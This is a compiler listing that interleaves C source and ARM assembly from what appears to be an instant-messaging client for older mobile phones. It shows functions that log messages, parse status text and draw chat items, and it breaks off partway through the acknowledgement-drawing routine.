980D80E3 ORR R0,R0,#0x2600 \ 0000016C 06A080E0 ADD R10,R0,R6 \ 00000170 000098E5 LDR R0,[R8, #+0] \ 00000174 030050E3 CMP R0,#+3 \ 00000178 0400001A BNE ??AddToMain_10 \ 0000017C 0530A0E1 MOV R3,R5 \ 00000180 0420A0E1 MOV R2,R4 \ 00000184 0710A0E1 MOV R1,R7 \ 00000188 0A00A0E1 MOV R0,R10 \ 0000018C 160000EF SWI +22 3979 if(main_count==4) sprintf(g_txt, "%s: %s", nameu,de); \ ??AddToMain_10: \ 00000190 1000A0E3 MOV R0,#+16 \ 00000194 9C0D80E3 ORR R0,R0,#0x2700 \ 00000198 06B080E0 ADD R11,R0,R6 \ 0000019C 000098E5 LDR R0,[R8, #+0] \ 000001A0 040050E3 CMP R0,#+4 \ 000001A4 0400001A BNE ??AddToMain_11 \ 000001A8 0530A0E1 MOV R3,R5 \ 000001AC 0420A0E1 MOV R2,R4 \ 000001B0 0710A0E1 MOV R1,R7 \ 000001B4 0B00A0E1 MOV R0,R11 \ 000001B8 160000EF SWI +22 3980 if(main_count>4) \ ??AddToMain_11: \ 000001BC 000098E5 LDR R0,[R8, #+0] \ 000001C0 050050E3 CMP R0,#+5 \ 000001C4 100000BA BLT ??AddToMain_12 3981 { 3982 strcpy(a_txt, s_txt); \ 000001C8 00109DE5 LDR R1,[SP, #+0] \ 000001CC 04009DE5 LDR R0,[SP, #+4] \ 000001D0 1A0000EF SWI +26 3983 strcpy(s_txt, d_txt); \ 000001D4 00009DE5 LDR R0,[SP, #+0] \ 000001D8 0910A0E1 MOV R1,R9 \ 000001DC 1A0000EF SWI +26 3984 strcpy(d_txt, f_txt); \ 000001E0 0A10A0E1 MOV R1,R10 \ 000001E4 0900A0E1 MOV R0,R9 \ 000001E8 1A0000EF SWI +26 3985 strcpy(f_txt, g_txt); \ 000001EC 0B10A0E1 MOV R1,R11 \ 000001F0 0A00A0E1 MOV R0,R10 \ 000001F4 1A0000EF SWI +26 3986 sprintf(g_txt, "%s: %s", nameu,de); \ 000001F8 0530A0E1 MOV R3,R5 \ 000001FC 0420A0E1 MOV R2,R4 \ 00000200 0710A0E1 MOV R1,R7 \ 00000204 0B00A0E1 MOV R0,R11 \ 00000208 160000EF SWI +22 3987 } 3988 mfree(de); \ ??AddToMain_12: \ 0000020C 0500A0E1 MOV R0,R5 \ 00000210 150000EF SWI +21 3989 main_d=1; \ 00000214 0100A0E3 MOV R0,#+1 \ 00000218 2C0286E5 STR R0,[R6, #+556] 3990 } \ 0000021C F38FBDE8 POP {R0,R1,R4-R11,PC} ;; return \ ??AddToMain_6: \ 00000220 ........ DC32 `?` 3991 3992 //======================add to main info================ 3993 3994 int NEW_MSG; 3995 //int LOG_TIME_CONN=0;//not log online/offline time 3996 \ In segment CODE, align 4, keep-with-next 3997 void AddStringToLog(CLIST *t, int code, char *s, const char *name, unsigned int IDforACK,int flag) 3998 { \ AddStringToLog: \ 00000000 F04F2DE9 PUSH {R4-R11,LR} 3999 char hs[128], *lastX; 4000 TTime tt; 4001 TDate d; 4002 GetDateTime(&d,&tt); 4003 int i; 4004 4005 // if(code == 3 && !LOG_XTXT) return; //Нl нуcно nоodrн?nь cennnrnуn 4006 if ( code==3 && NOT_LOG_SAME_XTXT ) \ 00000004 ........ LDR R5,??DataTable86 ;; S_ICONS \ 00000008 90D04DE2 SUB SP,SP,#+144 \ 0000000C B4809DE5 LDR R8,[SP, #+180] \ 00000010 B8B09DE5 LDR R11,[SP, #+184] \ 00000014 0040A0E1 MOV R4,R0 \ 00000018 0160A0E1 MOV R6,R1 \ 0000001C 02A0A0E1 MOV R10,R2 \ 00000020 0370A0E1 MOV R7,R3 \ 00000024 0D10A0E1 MOV R1,SP \ 00000028 08008DE2 ADD R0,SP,#+8 \ 0000002C B40000EF SWI +180 \ 00000030 030056E3 CMP R6,#+3 \ 00000034 1400001A BNE ??AddStringToLog_0 \ 00000038 EC0195E5 LDR R0,[R5, #+492] \ 0000003C 000050E3 CMP R0,#+0 \ 00000040 1100000A BEQ ??AddStringToLog_0 4007 { 4008 if(!t->isactive && HISTORY_BUFFER) GetHistory(t, 64<` \ 00000090 0700A0E1 MOV R0,R7 \ 00000094 01002DE9 PUSH {R0} \ 00000098 1000DDE5 LDRB R0,[SP, #+16] \ 0000009C 202089E2 ADD R2,R9,#+32 \ 000000A0 7F10A0E3 MOV R1,#+127 \ 000000A4 01002DE9 PUSH {R0} \ 000000A8 1500DDE5 LDRB R0,[SP, #+21] \ 000000AC 01002DE9 PUSH {R0} \ 000000B0 0E00DDE5 LDRB R0,[SP, #+14] \ 000000B4 01002DE9 PUSH {R0} \ 000000B8 1100DDE5 LDRB R0,[SP, #+17] \ 000000BC 01002DE9 PUSH {R0} \ 000000C0 1430DDE5 LDRB R3,[SP, #+20] \ 000000C4 24008DE2 ADD R0,SP,#+36 \ 000000C8 1B0100EF SWI +283 4016 if(code != 3 || ((LOG_XTXT) && (flag)))//Нужно сохранять иксстатус \ 000000CC 030056E3 CMP R6,#+3 \ 000000D0 14D08DE2 ADD SP,SP,#+20 \ 000000D4 0300001A BNE ??AddStringToLog_4 \ 000000D8 F00195E5 LDR R0,[R5, #+496] \ 000000DC 000050E3 CMP R0,#+0 \ 000000E0 00005B13 CMPNE R11,#+0 \ 000000E4 0400000A BEQ ??AddStringToLog_5 4017 Add2History(t, hs, s, code); \ ??AddStringToLog_4: \ 000000E8 0630A0E1 MOV R3,R6 \ 000000EC 0A20A0E1 MOV R2,R10 \ 000000F0 10108DE2 ADD R1,SP,#+16 \ 000000F4 0400A0E1 MOV R0,R4 \ 000000F8 ........ _BLF Add2History,??Add2History??rA 4018 4019 // ShowMSG(1,(int)t); 4020 // ShowMSG(1,(int)s); // Запись хистори 4021 LOGQ *p=NewLOGQ(s); \ ??AddStringToLog_5: \ 000000FC 0A00A0E1 MOV R0,R10 \ 00000100 ........ BL NewLOGQ \ 00000104 00A0A0E1 MOV R10,R0 4022 // snprintf(p->hdr,79,"%02d:%02d %02d-%02d %s:",tt.hour,tt.min,d.day,d.month,name); 4023 snprintf(p->hdr,79,"%02d:%02d:%02d %02d.%02d %s:",tt.hour,tt.min,tt.sec,d.day,d.month,name); \ 00000108 80002DE9 PUSH {R7} \ 0000010C 1000DDE5 LDRB R0,[SP, #+16] \ 00000110 0920A0E1 MOV R2,R9 \ 00000114 4F10A0E3 MOV R1,#+79 \ 00000118 01002DE9 PUSH {R0} \ 0000011C 1500DDE5 LDRB R0,[SP, #+21] \ 00000120 01002DE9 PUSH {R0} \ 00000124 0E00DDE5 LDRB R0,[SP, #+14] \ 00000128 01002DE9 PUSH {R0} \ 0000012C 1100DDE5 LDRB R0,[SP, #+17] \ 00000130 01002DE9 PUSH {R0} \ 00000134 1430DDE5 LDRB R3,[SP, #+20] \ 00000138 10008AE2 ADD R0,R10,#+16 \ 0000013C 1B0100EF SWI +283 4024 p->type=code; \ 00000140 0C608AE5 STR R6,[R10, #+12] 4025 p->ID=IDforACK; //0-32767 \ 00000144 08808AE5 STR R8,[R10, #+8] 4026 i=AddLOGQ(&t->log,p); \ 00000148 0A10A0E1 MOV R1,R10 \ 0000014C 8C0084E2 ADD R0,R4,#+140 \ 00000150 ........ BL AddLOGQ \ 00000154 0070A0E1 MOV R7,R0 \ 00000158 150057E3 CMP R7,#+21 \ 0000015C 14D08DE2 ADD SP,SP,#+20 \ 00000160 090000BA BLT ??AddStringToLog_6 4027 while(i>MAXLOGMSG) 4028 { 4029 if (t->log==t->last_log) t->last_log=t->last_log->next; \ ??AddStringToLog_7: \ 00000164 940094E5 LDR R0,[R4, #+148] \ 00000168 8C1094E5 LDR R1,[R4, #+140] 4030 RemoveLOGQ(&t->log,t->log); 4031 i--; \ 0000016C 017047E2 SUB R7,R7,#+1 \ 00000170 000051E1 CMP R1,R0 \ 00000174 00009005 LDREQ R0,[R0, #+0] \ 00000178 94008405 STREQ R0,[R4, #+148] \ 0000017C 8C0084E2 ADD R0,R4,#+140 \ 00000180 ........ BL RemoveLOGQ 4032 } \ 00000184 150057E3 CMP R7,#+21 \ 00000188 F5FFFFAA BGE ??AddStringToLog_7 4033 t->msg_count=i; \ ??AddStringToLog_6: \ 0000018C 9C7084E5 STR R7,[R4, #+156] 4034 if (!t->last_log) t->last_log=p; \ 00000190 940094E5 LDR R0,[R4, #+148] \ 00000194 000050E3 CMP R0,#+0 \ 00000198 94A08405 STREQ R10,[R4, #+148] 4035 if (code==3) \ 0000019C 030056E3 CMP R6,#+3 \ 000001A0 0D00001A BNE ??AddStringToLog_8 4036 { 4037 if (edchat_id) \ 000001A4 1C0395E5 LDR R0,[R5, #+796] \ 000001A8 000050E3 CMP R0,#+0 \ 000001AC 1C00000A BEQ ??AddStringToLog_9 4038 { 4039 void *data=FindGUIbyId(edchat_id,NULL); \ 000001B0 1C0395E5 LDR R0,[R5, #+796] \ 000001B4 0010A0E3 MOV R1,#+0 \ 000001B8 090200EF SWI +521 4040 if (data) \ 000001BC 000050E3 CMP R0,#+0 \ 000001C0 1700000A BEQ ??AddStringToLog_9 4041 { 4042 EDCHAT_STRUCT *ed_struct; 4043 ed_struct=EDIT_GetUserPointer(data); \ 000001C4 DF0100EF SWI +479 4044 if (ed_struct) \ 000001C8 000050E3 CMP R0,#+0 \ 000001CC 1400000A BEQ ??AddStringToLog_9 4045 { 4046 if (ed_struct->ed_contact==t) \ 000001D0 000090E5 LDR R0,[R0, #+0] \ 000001D4 040050E1 CMP R0,R4 \ 000001D8 1100001A BNE ??AddStringToLog_9 4047 { 4048 goto L_INC; 4049 } 4050 } 4051 } 4052 } 4053 goto L_NOINC; 4054 } 4055 L_INC: 4056 if (!t->isunread) total_unread++; \ ??AddStringToLog_8: \ 000001DC 7C0094E5 LDR R0,[R4, #+124] \ 000001E0 000050E3 CMP R0,#+0 \ 000001E4 0C039505 LDREQ R0,[R5, #+780] \ 000001E8 01008002 ADDEQ R0,R0,#+1 \ 000001EC 0C038505 STREQ R0,[R5, #+780] 4057 if(NEW_MSG==1) \ 000001F0 B00395E5 LDR R0,[R5, #+944] \ 000001F4 010050E3 CMP R0,#+1 \ 000001F8 0700001A BNE ??AddStringToLog_10 4058 { 4059 t->unread_msg++; \ 000001FC 800094E5 LDR R0,[R4, #+128] \ 00000200 010080E2 ADD R0,R0,#+1 \ 00000204 800084E5 STR R0,[R4, #+128] 4060 total_unread2++; \ 00000208 600295E5 LDR R0,[R5, #+608] \ 0000020C 010080E2 ADD R0,R0,#+1 \ 00000210 600285E5 STR R0,[R5, #+608] 4061 NEW_MSG=0; \ 00000214 0000A0E3 MOV R0,#+0 \ 00000218 B00385E5 STR R0,[R5, #+944] 4062 } 4063 t->isunread=1; \ ??AddStringToLog_10: \ 0000021C 0100A0E3 MOV R0,#+1 \ 00000220 7C0084E5 STR R0,[R4, #+124] 4064 // if(saver_on) reftes(); 4065 L_NOINC: 4066 ChangeContactPos(t); \ ??AddStringToLog_9: \ 00000224 0400A0E1 MOV R0,R4 \ 00000228 ........ _BLF ChangeContactPos,??ChangeContactPos??rA 4067 } \ ??AddStringToLog_2: \ 0000022C 90D08DE2 ADD SP,SP,#+144 ;; stack cleaning \ 00000230 F08FBDE8 POP {R4-R11,PC} ;; return \ ??AddStringToLog_3: \ 00000234 ........ DC32 `?` 4068 4069 void ParseAnswer(WSHDR *ws, const char *s); 4070 4071 int time_to_stop_t9; 4072 \ In segment CODE, align 4, keep-with-next 4073 void ParseXStatusText(WSHDR *ws, const char *s, int color) 4074 { \ ParseXStatusText: \ 00000000 F0402DE9 PUSH {R4-R7,LR} \ 00000004 0040A0E1 MOV R4,R0 \ 00000008 0150A0E1 MOV R5,R1 \ 0000000C 0260A0E1 MOV R6,R2 4075 int c; 4076 int flag=0; \ 00000010 0070A0E3 MOV R7,#+0 4077 CutWSTR(ws,0); \ 00000014 0010A0E3 MOV R1,#+0 \ 00000018 260100EF SWI +294 4078 if (strlen(s)==1) return; \ 0000001C 0500A0E1 MOV R0,R5 \ 00000020 1B0000EF SWI +27 \ 00000024 010050E3 CMP R0,#+1 \ 00000028 F080BD08 POPEQ {R4-R7,PC} 4079 wsAppendChar(ws,0xE008); \ 0000002C 0810A0E3 MOV R1,#+8 \ 00000030 E01C81E3 ORR R1,R1,#0xE000 \ 00000034 0400A0E1 MOV R0,R4 \ 00000038 1C0000EF SWI +28 4080 wsAppendChar(ws,color); \ 0000003C 0610A0E1 MOV R1,R6 \ 00000040 0400A0E1 MOV R0,R4 \ 00000044 1C0000EF SWI +28 4081 wsAppendChar(ws,0xE013); \ 00000048 1310A0E3 MOV R1,#+19 \ 0000004C E01C81E3 ORR R1,R1,#0xE000 \ 00000050 0A0000EA B ??ParseXStatusText_0 4082 while((c=*s++)) 4083 { 4084 if (c==13) \ ??ParseXStatusText_1: \ 00000054 0D0050E3 CMP R0,#+13 4085 { 4086 if (!flag) \ 00000058 00005703 CMPEQ R7,#+0 \ 0000005C 0500001A BNE ??ParseXStatusText_2 4087 { 4088 flag=1; \ 00000060 0170A0E3 MOV R7,#+1 4089 wsAppendChar(ws,0xE012); \ 00000064 1210A0E3 MOV R1,#+18 \ 00000068 E01C81E3 ORR R1,R1,#0xE000 \ 0000006C 0400A0E1 MOV R0,R4 \ 00000070 1C0000EF SWI +28 4090 c=' '; \ 00000074 2000A0E3 MOV R0,#+32 4091 } 4092 } 4093 wsAppendChar(ws,char8to16(c)); \ ??ParseXStatusText_2: \ 00000078 ........ _BLF char8to16,??char8to16??rA \ 0000007C 0010A0E1 MOV R1,R0 \ ??ParseXStatusText_0: \ 00000080 0400A0E1 MOV R0,R4 \ 00000084 1C0000EF SWI +28 4094 } \ 00000088 ........ LDRB R0,[R5], #+1 \ 0000008C 000050E3 CMP R0,#+0 \ 00000090 EFFFFF1A BNE ??ParseXStatusText_1 \ 00000094 F080BDE8 POP {R4-R7,PC} ;; return 4095 } 4096 //Добавление итемов в чат при получении нового сообщения \ In segment CODE, align 4, keep-with-next 4097 void AddMsgToChat(void *data) 4098 { \ AddMsgToChat: \ 00000000 F0432DE9 PUSH {R4-R9,LR} \ 00000004 3CD04DE2 SUB SP,SP,#+60 \ 00000008 0040B0E1 MOVS R4,R0 4099 LOGQ *p; 4100 EDITCONTROL ec; 4101 EDITC_OPTIONS ec_options; 4102 EDCHAT_STRUCT *ed_struct; 4103 int j; 4104 int color, font, type; 4105 int zc; 4106 if (!data) return; \ 0000000C B900000A BEQ ??AddMsgToChat_0 4107 ed_struct=EDIT_GetUserPointer(data); \ 00000010 DF0100EF SWI +479 \ 00000014 0050B0E1 MOVS R5,R0 4108 if (!ed_struct) return; \ 00000018 B600000A BEQ ??AddMsgToChat_0 4109 if (!ed_struct->ed_contact->isunread) return; \ 0000001C 000095E5 LDR R0,[R5, #+0] \ 00000020 7C1090E5 LDR R1,[R0, #+124] \ 00000024 000051E3 CMP R1,#+0 \ 00000028 B200000A BEQ ??AddMsgToChat_0 4110 4111 4112 p=ed_struct->ed_contact->last_log; \ 0000002C 946090E5 LDR R6,[R0, #+148] 4113 if (p) \ 00000030 ........ LDR R7,??DataTable86 ;; S_ICONS \ 00000034 000056E3 CMP R6,#+0 \ 00000038 9800000A BEQ ??AddMsgToChat_1 4114 { 4115 while(p) 4116 { 4117 font = ED_H_FONT_SIZE; 4118 if ((zc=p->acked&3)) \ ??AddMsgToChat_2: \ 0000003C 040096E5 LDR R0,[R6, #+4] \ 00000040 CC8197E5 LDR R8,[R7, #+460] \ 00000044 B09197E5 LDR R9,[R7, #+432] \ 00000048 030010E2 ANDS R0,R0,#0x3 \ 0000004C 0300000A BEQ ??AddMsgToChat_3 4119 { 4120 if (zc==1) \ 00000050 010050E3 CMP R0,#+1 \ 00000054 1A00001A BNE ??AddMsgToChat_4 4121 color=ACK_COLOR; //Зеленый \ 00000058 E09197E5 LDR R9,[R7, #+480] \ 0000005C 180000EA B ??AddMsgToChat_4 4122 else 4123 color=I_COLOR; 4124 //#endif 4125 } 4126 else 4127 { 4128 if (p->ID==0xFFFFFFFF) \ ??AddMsgToChat_3: \ 00000060 080096E5 LDR R0,[R6, #+8] \ 00000064 010070E3 CMN R0,#+1 \ 00000068 1400001A BNE ??AddMsgToChat_5 4129 { 4130 type = p->type&0x0F; \ 0000006C 0C0096E5 LDR R0,[R6, #+12] \ 00000070 0F1000E2 AND R1,R0,#0xF 4131 if(p->type&0x10) \ 00000074 100010E3 TST R0,#0x10 \ 00000078 0900000A BEQ ??AddMsgToChat_6 4132 { 4133 color = (type==1)?O_I_COLOR:((type==3)?O_X_COLOR:O_TO_COLOR); \ 0000007C 010051E3 CMP R1,#+1 \ 00000080 BC919705 LDREQ R9,[R7, #+444] \ 00000084 0400000A BEQ ??AddMsgToChat_7 \ 00000088 030051E3 CMP R1,#+3 \ 0000008C C4919705 LDREQ R9,[R7, #+452] \ 00000090 DC819705 LDREQ R8,[R7, #+476] \ 00000094 0A00000A BEQ ??AddMsgToChat_4 \ 00000098 C09197E5 LDR R9,[R7, #+448] \ ??AddMsgToChat_7: \ 0000009C D88197E5 LDR R8,[R7, #+472] \ 000000A0 070000EA B ??AddMsgToChat_4 4134 font = (type==3)?O_ED_X_FONT_SIZE:O_ED_H_FONT_SIZE; 4135 } 4136 else 4137 { 4138 color = (type==1)?I_COLOR:((type==3)?X_COLOR:TO_COLOR); \ ??AddMsgToChat_6: \ 000000A4 010051E3 CMP R1,#+1 \ 000000A8 0500000A BEQ ??AddMsgToChat_4 \ 000000AC 030051E3 CMP R1,#+3 \ 000000B0 B4919715 LDRNE R9,[R7, #+436] \ 000000B4 D0819705 LDREQ R8,[R7, #+464] \ 000000B8 B8919705 LDREQ R9,[R7, #+440] \ 000000BC 000000EA B ??AddMsgToChat_4 4139 font = (type==3)?ED_X_FONT_SIZE:ED_H_FONT_SIZE; 4140 } 4141 } 4142 else 4143 color=UNACK_COLOR; //????? \ ??AddMsgToChat_5: \ 000000C0 E49197E5 LDR R9,[R7, #+484] 4144 } 4145 PrepareEditControl(&ec); \ ??AddMsgToChat_4: \ 000000C4 10008DE2 ADD R0,SP,#+16 \ 000000C8 640100EF SWI +356 4146 if ((p->type&0x0F)!=3) \ 000000CC 0C0096E5 LDR R0,[R6, #+12] \ 000000D0 0F0000E2 AND R0,R0,#0xF \ 000000D4 030050E3 CMP R0,#+3 \ 000000D8 0800000A BEQ ??AddMsgToChat_8 4147 { 4148 ascii2ws(ews,p->hdr); \ 000000DC 780297E5 LDR R0,[R7, #+632] \ 000000E0 101086E2 ADD R1,R6,#+16 \ 000000E4 ........ _BLF ascii2ws,??ascii2ws??rA 4149 ConstructEditControl(&ec,ECT_HEADER,ECF_APPEND_EOL,ews,ews->wsbody[0]); \ 000000E8 783297E5 LDR R3,[R7, #+632] \ 000000EC 4020A0E3 MOV R2,#+64 \ 000000F0 000093E5 LDR R0,[R3, #+0] \ 000000F4 B000D0E1 LDRH R0,[R0, #+0] \ 000000F8 01002DE9 PUSH {R0} \ 000000FC 030000EA B ??AddMsgToChat_9 4150 } 4151 else 4152 ConstructEditControl(&ec,ECT_HEADER,ECF_DELSTR,ews,0); \ ??AddMsgToChat_8: \ 00000100 0000A0E3 MOV R0,#+0 \ 00000104 01002DE9 PUSH {R0} \ 00000108 783297E5 LDR R3,[R7, #+632] \ 0000010C 2020A0E3 MOV R2,#+32 \ ??AddMsgToChat_9: \ 00000110 0110A0E3 MOV R1,#+1 \ 00000114 14008DE2 ADD R0,SP,#+20 \ 00000118 650100EF SWI +357 \ 0000011C 04D08DE2 ADD SP,SP,#+4 4153 PrepareEditCOptions(&ec_options); \ 00000120 0D00A0E1 MOV R0,SP \ 00000124 C80100EF SWI +456 4154 SetPenColorToEditCOptions(&ec_options,color); \ 00000128 0910A0E1 MOV R1,R9 \ 0000012C 0D00A0E1 MOV R0,SP \ 00000130 CC0100EF SWI +460 4155 SetFontToEditCOptions(&ec_options,font); \ 00000134 0810A0E1 MOV R1,R8 \ 00000138 0D00A0E1 MOV R0,SP \ 0000013C CA0100EF SWI +458 4156 CopyOptionsToEditControl(&ec,&ec_options); \ 00000140 0D10A0E1 MOV R1,SP \ 00000144 10008DE2 ADD R0,SP,#+16 \ 00000148 CE0100EF SWI +462 4157 //AddEditControlToEditQend(eq,&ec,ma); 4158 EDIT_InsertEditControl(data,ed_struct->ed_answer-1,&ec); \ 0000014C 080095E5 LDR R0,[R5, #+8] \ 00000150 10208DE2 ADD R2,SP,#+16 \ 00000154 011040E2 SUB R1,R0,#+1 \ 00000158 0400A0E1 MOV R0,R4 \ 0000015C D20100EF SWI +466 4159 ed_struct->ed_answer++; \ 00000160 080095E5 LDR R0,[R5, #+8] \ 00000164 010080E2 ADD R0,R0,#+1 \ 00000168 080085E5 STR R0,[R5, #+8] 4160 if ((p->type&0x0F)!=3) \ 0000016C 0C0096E5 LDR R0,[R6, #+12] \ 00000170 0F1000E2 AND R1,R0,#0xF \ 00000174 030051E3 CMP R1,#+3 \ 00000178 0300000A BEQ ??AddMsgToChat_10 4161 { 4162 ParseAnswer(ews,p->text); \ 0000017C 780297E5 LDR R0,[R7, #+632] \ 00000180 601086E2 ADD R1,R6,#+96 \ 00000184 ........ BL ParseAnswer \ 00000188 050000EA B ??AddMsgToChat_11 4163 } 4164 else 4165 { 4166 ParseXStatusText(ews, p->text, (p->type&0x10)?O_X_COLOR:X_COLOR); \ ??AddMsgToChat_10: \ 0000018C 100010E3 TST R0,#0x10 \ 00000190 C4219715 LDRNE R2,[R7, #+452] \ 00000194 780297E5 LDR R0,[R7, #+632] \ 00000198 B8219705 LDREQ R2,[R7, #+440] \ 0000019C 601086E2 ADD R1,R6,#+96 \ 000001A0 ........ BL ParseXStatusText 4167 } 4168 PrepareEditControl(&ec); \ ??AddMsgToChat_11: \ 000001A4 10008DE2 ADD R0,SP,#+16 \ 000001A8 640100EF SWI +356 4169 ConstructEditControl(&ec, 4170 ECT_NORMAL_TEXT, 4171 ews->wsbody[0] ? ECF_APPEND_EOL|ECF_DISABLE_T9 : ECF_DELSTR, 4172 ews,ews->wsbody[0]); \ 000001AC 783297E5 LDR R3,[R7, #+632] \ 000001B0 000093E5 LDR R0,[R3, #+0] \ 000001B4 B010D0E1 LDRH R1,[R0, #+0] \ 000001B8 000051E3 CMP R1,#+0 \ 000001BC 0100A0E1 MOV R0,R1 \ 000001C0 01002DE9 PUSH {R0} \ 000001C4 812DA013 MOVNE R2,#+8256 \ 000001C8 2020A003 MOVEQ R2,#+32 \ 000001CC 0310A0E3 MOV R1,#+3 \ 000001D0 14008DE2 ADD R0,SP,#+20 \ 000001D4 650100EF SWI +357 4173 PrepareEditCOptions(&ec_options); \ 000001D8 04008DE2 ADD R0,SP,#+4 \ 000001DC C80100EF SWI +456 4174 //#ifdef M75 4175 if ((p->type&0x0F)!=3) \ 000001E0 0C0096E5 LDR R0,[R6, #+12] \ 000001E4 04D08DE2 ADD SP,SP,#+4 \ 000001E8 0F1000E2 AND R1,R0,#0xF \ 000001EC 030051E3 CMP R1,#+3 \ 000001F0 0300000A BEQ ??AddMsgToChat_12 4176 { 4177 SetFontToEditCOptions(&ec_options,(p->type&0x10)?O_ED_FONT_SIZE:ED_FONT_SIZE); \ 000001F4 100010E3 TST R0,#0x10 \ 000001F8 C8119705 LDREQ R1,[R7, #+456] \ 000001FC D4119715 LDRNE R1,[R7, #+468] \ 00000200 080000EA B ??AddMsgToChat_13 4178 } 4179 else 4180 { 4181 SetPenColorToEditCOptions(&ec_options,(p->type&0x10)?O_X_COLOR:X_COLOR); \ ??AddMsgToChat_12: \ 00000204 100010E3 TST R0,#0x10 \ 00000208 C4119715 LDRNE R1,[R7, #+452] \ 0000020C 0D00A0E1 MOV R0,SP \ 00000210 B8119705 LDREQ R1,[R7, #+440] \ 00000214 CC0100EF SWI +460 4182 SetFontToEditCOptions(&ec_options,(p->type&0x10)?O_ED_X_FONT_SIZE:ED_X_FONT_SIZE); \ 00000218 0C0096E5 LDR R0,[R6, #+12] \ 0000021C 100010E3 TST R0,#0x10 \ 00000220 DC119715 LDRNE R1,[R7, #+476] \ 00000224 D0119705 LDREQ R1,[R7, #+464] \ ??AddMsgToChat_13: \ 00000228 0D00A0E1 MOV R0,SP \ 0000022C CA0100EF SWI +458 4183 } 4184 //#else 4185 // SetFontToEditCOptions(&ec_options,(p->type&0x10)?O_ED_FONT_SIZE:ED_FONT_SIZE); 4186 //#endif 4187 CopyOptionsToEditControl(&ec,&ec_options); \ 00000230 0D10A0E1 MOV R1,SP \ 00000234 10008DE2 ADD R0,SP,#+16 \ 00000238 CE0100EF SWI +462 4188 EDIT_InsertEditControl(data,ed_struct->ed_answer-1,&ec); \ 0000023C 080095E5 LDR R0,[R5, #+8] \ 00000240 10208DE2 ADD R2,SP,#+16 \ 00000244 011040E2 SUB R1,R0,#+1 \ 00000248 0400A0E1 MOV R0,R4 \ 0000024C D20100EF SWI +466 4189 ed_struct->ed_answer++; \ 00000250 080095E5 LDR R0,[R5, #+8] \ 00000254 010080E2 ADD R0,R0,#+1 \ 00000258 080085E5 STR R0,[R5, #+8] 4190 p=p->next; \ 0000025C 006096E5 LDR R6,[R6, #+0] 4191 } \ 00000260 000056E3 CMP R6,#+0 \ 00000264 74FFFF1A BNE ??AddMsgToChat_2 4192 j=((ed_struct->ed_contact->msg_count+1)*2); //Ожидаемый ed_answer \ 00000268 001095E5 LDR R1,[R5, #+0] \ 0000026C 9C1091E5 LDR R1,[R1, #+156] \ 00000270 011081E2 ADD R1,R1,#+1 \ 00000274 8140A0E1 LSL R4,R1,#+1 \ 00000278 000054E1 CMP R4,R0 \ 0000027C 070000AA BGE ??AddMsgToChat_1 4193 while(jed_answer) 4194 { 4195 EDIT_RemoveEditControl(ed_struct->ed_chatgui,1); \ ??AddMsgToChat_14: \ 00000280 040095E5 LDR R0,[R5, #+4] \ 00000284 0110A0E3 MOV R1,#+1 \ 00000288 D10100EF SWI +465 4196 ed_struct->ed_answer--; \ 0000028C 080095E5 LDR R0,[R5, #+8] \ 00000290 010040E2 SUB R0,R0,#+1 \ 00000294 080085E5 STR R0,[R5, #+8] 4197 } \ 00000298 000054E1 CMP R4,R0 \ 0000029C F7FFFFBA BLT ??AddMsgToChat_14 4198 } 4199 ed_struct->ed_contact->last_log=NULL; \ ??AddMsgToChat_1: \ 000002A0 000095E5 LDR R0,[R5, #+0] \ 000002A4 0040A0E3 MOV R4,#+0 \ 000002A8 944080E5 STR R4,[R0, #+148] 4200 if (IsGuiOnTop(edchat_id)) \ 000002AC 1C0397E5 LDR R0,[R7, #+796] \ 000002B0 350100EF SWI +309 \ 000002B4 000050E3 CMP R0,#+0 \ 000002B8 0300000A BEQ ??AddMsgToChat_15 4201 { 4202 total_unread--; \ 000002BC 0C0397E5 LDR R0,[R7, #+780] \ 000002C0 010040E2 SUB R0,R0,#+1 \ 000002C4 0C0387E5 STR R0,[R7, #+780] \ 000002C8 020000EA B ??AddMsgToChat_16 4203 } 4204 else 4205 ed_struct->requested_decrement_total_unread++; \ ??AddMsgToChat_15: \ 000002CC 0C0095E5 LDR R0,[R5, #+12] \ 000002D0 010080E2 ADD R0,R0,#+1 \ 000002D4 0C0085E5 STR R0,[R5, #+12] 4206 ed_struct->ed_contact->isunread=0; \ ??AddMsgToChat_16: \ 000002D8 000095E5 LDR R0,[R5, #+0] \ 000002DC 7C4080E5 STR R4,[R0, #+124] 4207 total_unread2=total_unread2-ed_struct->ed_contact->unread_msg; \ 000002E0 601297E5 LDR R1,[R7, #+608] \ 000002E4 802090E5 LDR R2,[R0, #+128] \ 000002E8 021041E0 SUB R1,R1,R2 \ 000002EC 601287E5 STR R1,[R7, #+608] 4208 ed_struct->ed_contact->unread_msg=0; \ 000002F0 804080E5 STR R4,[R0, #+128] 4209 ChangeContactPos(ed_struct->ed_contact); \ 000002F4 ........ _BLF ChangeContactPos,??ChangeContactPos??rA 4210 // EDIT_SetFocus(data,ed_struct->ed_answer); 4211 } \ ??AddMsgToChat_0: \ 000002F8 3CD08DE2 ADD SP,SP,#+60 ;; stack cleaning \ 000002FC F083BDE8 POP {R4-R9,PC} ;; return 4212 4213 //Рисуем подтверждения непосредственно \ In segment CODE, align 4, keep-with-next 4214 void DrawAck(void *data) 4215 { \ DrawAck: \ 00000000 F0412DE9 PUSH {R4-R8,LR} \ 00000004 3CD04DE2 SUB SP,SP,#+60 \ 00000008 0040B0E1 MOVS R4,R0 4216 LOGQ *p; 4217 EDITCONTROL ec; 4218 EDITC_OPTIONS ec_options; 4219 EDCHAT_STRUCT *ed_struct; 4220 int j; 4221 int color; 4222 int dorefresh=0; \ 0000000C 0060A0E3 MOV R6,#+0 4223 if (!data) return; \ 00000010 4B00000A BEQ ??DrawAck_0 4224 ed_struct=EDIT_GetUserPointer(data); \ 00000014 DF0100EF SWI +479 4225 if (!ed_struct) return; \ 00000018 000050E3 CMP R0,#+0 \ 0000001C 4800000A BEQ ??DrawAck_0 4226 p=ed_struct->ed_contact->log; \ 00000020 001090E5 LDR R1,[R0, #+0] 4227 j=ed_struct->ed_answer; 4228 j-=(ed_struct->ed_contact->msg_count*2)+1; //Номер собственно хедера верхнего итема \ 00000024 080090E5 LDR R0,[R0, #+8] \ 00000028 8C5091E5 LDR R5,[R1, #+140] \ 0000002C 9C1091E5 LDR R1,[R1, #+156] \ 00000030 ........ LDR R8,??DataTable86 ;; S_ICONS \ 00000034 810040E0 SUB R0,R0,R1, LSL #+1 \ 00000038 017040E2 SUB R7,R0,#+1 \ 0000003C 000055E3 CMP R5,#+0 \ 00000040 3900000A BEQ ??DrawAck_1 4229 while(p) 4230 { 4231 if (j>=1) //Пока возможно лишнее \ ??DrawAck_2: \ 00000044 010057E3 CMP R7,#+1 